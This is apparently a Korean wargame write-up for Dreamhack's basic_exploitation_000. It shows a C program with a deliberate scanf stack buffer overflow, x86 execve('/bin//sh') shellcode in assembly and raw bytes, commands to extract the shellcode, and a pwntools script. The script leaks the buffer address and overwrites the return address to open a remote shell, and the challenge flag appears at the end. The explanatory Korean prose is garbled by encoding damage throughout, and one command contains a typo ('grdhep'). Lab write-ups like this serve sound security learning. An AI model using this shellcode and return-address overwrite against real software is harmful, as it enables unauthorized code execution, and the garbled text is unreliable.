basic_exploitation_000
๋ฌธ์ ํ์ด(pwntools์ shellcode)
๋ฐ์ ๋งํฌ๋ ์์ผ๋ก ๊ธฐ์ฌ๋ ๋ฌธ์ ํ์ด์์ ํฐ ๋์์ด ๋ ๊ฑฐ์์
์ถ๊ฐ๋ก ํ์ํ ์ ๋ณด๋ ์ฐจ์ฐจ ๊ธฐ์ฌํ ๊ป์
//file name : basic_exploitation_000.c
//Complie : gcc -o basic_exploitation_000 basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80]; //128byte
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf); //141byte input vlun
return 0;
}
์ ์ฝ๋๋ฅผ ํ์ธํ์๊ณ ๋ณด๋ฉด ์ด๋ ๋ถ๋ถ์ด ์ทจ์ฝํ์ง ๋ณด์ผ๊ฑฐ์์ ์ฃผ์ ๋ BOF๋๊น ๊ธ๋ฐฉ ์๊ฒ ์ฃ ?
์ ์ฝ๋๊ฐ buf๋ฅผ ๋๋ ๊ฐ๋งํผ ์ ๋ ฅ์ ๋ฐ์ผ๋ฏ๋ก BOF๊ฐ ๋ฐ์ํ๊ฒ ๋ค์!!
scanf๊ฐ ์ทจ์ฝ์ ์ด๋๊น ๊ทธ ๋ถ๋ถ์ ๊ณต๋ตํ๋ฉด ๋๊ฒ ๋ค์
์ด๋ฐ ์์ผ๋ก ์
๋ ฅ ๋ฐ์ผ๋ฏ๋ก ์ด์ ๋ถํด ํ ์ ์ฐจ๋ฅผ ์ฌ์ง์ผ๋ก๋ง ๋ณด์ฌ์ฃผ๊ณ
์ค๋ช
์ด ํ์ํ๋ค ์๊ฐ๋๋ ๋ถ๋ถ์๋ง ๋ช ์ฌ๋ผ์ด๋.. ์ค๋ช
์ผ๋ก ํ ๊ป์ ใ
ใ
- Scanf์ syscall๋ก break boint๋ฅผ ์ก๊ณ ์์์ ํ ๊น์
- ์์ ์๋ ๋ถ๋ถ์ ํ์ธํ๊ณ esp๋ฅผ ํ์ธํด๋ ํฌ๋งท ์คํธ๋ง๊ณผ ๊ท์ฝ์ด ์ ํด์ง ๋ชจ์ต - ์ด๋ฐ ๋ฐฉ์์ผ๋ก๋ ํ์ธ์ ํ ์ ์๋ค๋ ๋ถ๋ถ
- format ํ์(์ฌ๊ธฐ์ ์ ๋ ฅ๋ฐ์ ๊ฑฐ ์ ์ฅํ๋ ์ฃผ์ โ esp)๊ณผ vararg๋ก ํ์๊น์ง - ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ํจ ๋ชจ์ต์ด๊ณ ์
- ์คํ์ ์ ๋ ฅ๋ฐ์ ๋ถ๋ถ์ esp(๋ฌธ์ ์์ x86 ์ํคํ ์ฒ๋๊น) ํ์ธ ๋ชจ์ต
- break point ๋ฅผ ret๋ก ์ก๊ณ countinueํด์ ํ์ธํ๋ฉด ์ ๋ ๊ฒ ๋์์
- esp(sfp)์์ eip(ret)๋ก ์ด๋ํ๊ธฐ ์ ์ ๋ชจ์ต์ด์ฃ - si ์ํจ ํ eip๋ฅผ ๋ณด๋ฉด ์ด์ ์ ์๋ esp์ ์คํ์ด ์ฎ๊ธด ๋ชจ์ต์ด์ฃ
๊ณ ๋กฌ ์ด๋์ ๋ ๋ถ์์ด ๋ค ๋๋ฌ๊ธฐ์ ์ ์ฝ๋ ๊ตฌ์ฑ๊ณผ pwntools๋ก ์ค๊ณํด๋ด
์๋น!
์ ์ด๋ฐ ์์ผ๋ก ์ค๊ณ๋ฅผ ํ ๊ฑด๋ฐ์ ๋ฉด๋ฐํ๊ฒ ์ดํด๋ด ์๋ค!
;file name : shellcode.asm
global _start
section .text
_start:
xor eax, eax ; reseting the register
push eax ; pushing null terminator
push 0x68732f2f ; push /bin//sh
push 0x6e69622f
mov ebx, esp ; ebx = /bin//sh
push eax
mov edx, esp ; envp = 0
push ebx
mov ecx, esp ; argv = [filename,0]
mov al, 11 ; syscall 12 (execve)
int 0x80 ; syscall
์๋ ์ด์ ์ฌ์ฉํ execve(const char *filename, char *const argv[], char *const envp[]);
์ด์ ๋ธ๋ฆฌ์ด๋ฅผ ๊ธฐ๊ณ์ด๋ก ๋ณํ - shellcode.o
sudo apt-get install nasm
nasm -f elf(32) shellcode.asm
objdump -d shellcode.o
sudo apt-get install nasm
nasm -f elf(32) shellcode.asm
objdump -d shellcode.o
nasm์ ์ด์
๋ธ์ฝ๋๋ฅผ ๊ธฐ๊ณ์ด๋ก ๋ฐ๊พธ์ด์ฃผ๋ ํ์์
๋๋ค!
vi๋ก .asm ํ์ฅ์ ์ฝ๋๋ฅผ ์์ฑ ํ nasm ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํด ์คํ ํ์ผ๋ก ๋ณํํ๋ ๋ช
๋ น์ด์ฃ !
๊ธฐ๊ณ์ด ์ฝ๋ - shellcode.bin
objcopy --dump-section .text=shellcode.bin shellcode.bin
xxd(or hexdump -C) shellcode.bin
objcopy --dump-section .text=shellcode.bin shellcode.bin
xxd(or hexdump -C) shellcode.bin
๋ญ.. ์ด๋ฐ ์์ผ๋ก ํํํ ์ ์์ฃ ์ฒซ ๋ฒ์งธ๋ Dreamhack์์ ํ์ ์ฝ๋์ด๋ฉฐ,
ํด์ํ์๋ฉด objcopy๋ ์คํ์ ํธ ๋ณต์ฌํ๋ ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ --dump-section ๋ก
์ถ์ถํ์ฌ .textํํ๋ก shellcode.bin์ ํ์ฅ์๋ก ๋ฃ๋๊ฑฐ์ฃ ์ฝ๊ฐ gcc -o ๊ฐ๋ค์ ใ
์ฐธ๊ณ ๋ก objcopy๋ ๋ณธ๋ ์ฝ๊ฐ objcopy test test.new ์ด๋ฐ ์์ผ๋ก ์ฐ๋ ๊ฑฐ์์
ํดํน์ด ์๋ ๋ชฉ์ ์์ ๊ฒ์ฆ์ด๋ ๋ฐฑ์
์ฉ๋?๋ก ์ด๋ค๊ณ ์๊ฐํ์๋ฉด ๋๊ฒ ๋ค์
echo;objdump -d ./shellcode.o|grep '[0-9a-f]:'|grdhep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g';echo
echo;objdump -d ./shellcode.o|grep '[0-9a-f]:'|grdhep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g';echo
์ ๊ทํํ์๊ณผ ๋ฆฌ๋
์ค ๋ช
๋ น์ด๋ก ์ถ๋ ฅํ๋ ๋ถ๋ถ์์ ์๋นํ ๋ง์ ๋ถ๋ถ์ ๊ฑธ๋ ๋ค์
์์ธํ ๋ถ์์ ํด๋ณด๋ฉด... ์.. ์ ๋ ๋ช
ํํ๊ฒ ๋ชจ๋ฅด๊ฒ ๋ค์ ์ฐจ์ฐจ ์์๊ฐ์๋ค ใ
์ฐธ๊ณ ๋ก ์ ์๋ฃ๋ฅผ ์ฐธ๊ณ ํ์ฌ ํ์ต๋๋ค exploit-db ์ข์ผ๋๊น ๊ฐ์ถ!!
exploit code - by pwntools์ด์ ์์ฝ๋๋ ์ป์๊ฒ ๋ค ์์ํด๋ณผ๊น์?
#file name : exploit.py
from pwn import *
context.log_level = 'debug'
#p = process('./basic_exploitation_000')
p = remote('host1.dreamhack.games', '14412')
e = ELF('./basic_exploitation_000')
p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
p.recvline()
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'A'*0x66
payload += b'B'*0x4
payload += p32(buf)
p.sendline(payload)
p.interactive()
์ ์ฝ๋๋ฅผ ๊ทธ๋ผ ๋ถ์ํด๋ด ์๋ค.
์ ๋นจ๊ฐ์์ผ๋ก ์ณ์ง ๋ถ๋ถ์ด buf์ ์ฃผ์๋ฅผ ๋ฐ์์์ ์คํํ๋ค๋ ์ด์ผ๊ธฐ์ธ๋ฐ..
์ฆ, ret๋ฅผ ๋ฐ๊ฒ ๋จ ์๋ฆฌ์ด๋ฏ๋ก ์ผ๋จ ๊ทธ ํฌ์ธํฐ๋ฅผ ์ ์ํ์ ๋ฐ์ ๊ฑธ์ 16์ง์๋ก ๋ฐ๊พธ์ด์ผ
์ ํฌ๊ฐ ์ต์คํ๋ก์ ํ ๋ ํธํ๊ฒ ์ฃ ๊ณ ๋ก ๋ฐ์์ ์ ์ฅํฉ์๋ค ๋์ค์ ๋ฐ๋ก ์ฐ๋๊น
๊ทธ๋ฆฌ๊ณ 128byte๊ฐ buff์ด๋ฏ๋ก stf(4byte)๊น์ง ํฉ์น๋ฉด 132byte!
๊ฑฐ๊ธฐ์ shellcode + dummy + buf addr(ret โ shellcode addr)๋ก์จ ๋๊ฒ ์ฃ
b'NOP(โ \x90)'*(0x80 - len(shellcode)) + b'B'*0x4
๋ก ํ์
๋ ๋ฑํ ์๊ด์ ์๊ฒ ๋ค๋ง
์ ํฌ ์ ์ฝ๋ ๊ธธ์ด๊ฐ 26byte์๋? ๊ทธ์ ๋ ๋๋๊น ํ์๋ฉด ๋!
๊ทธ๋ผ ์ต์คํ๋ก์ ํ์๋ฉด
DH{465dd453b2a25a26a847a93d3695676d}
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Mitigation: Stack Canary (0) | 2022.04.28 |
---|---|
basic_exploitation_001 (0) | 2022.04.27 |
Exploit Tech: Return Address Overwrite (0) | 2022.04.27 |
Return Address Overwrite (0) | 2022.04.25 |
Memory Corruption: Stack Buffer Overflow (0) | 2022.04.21 |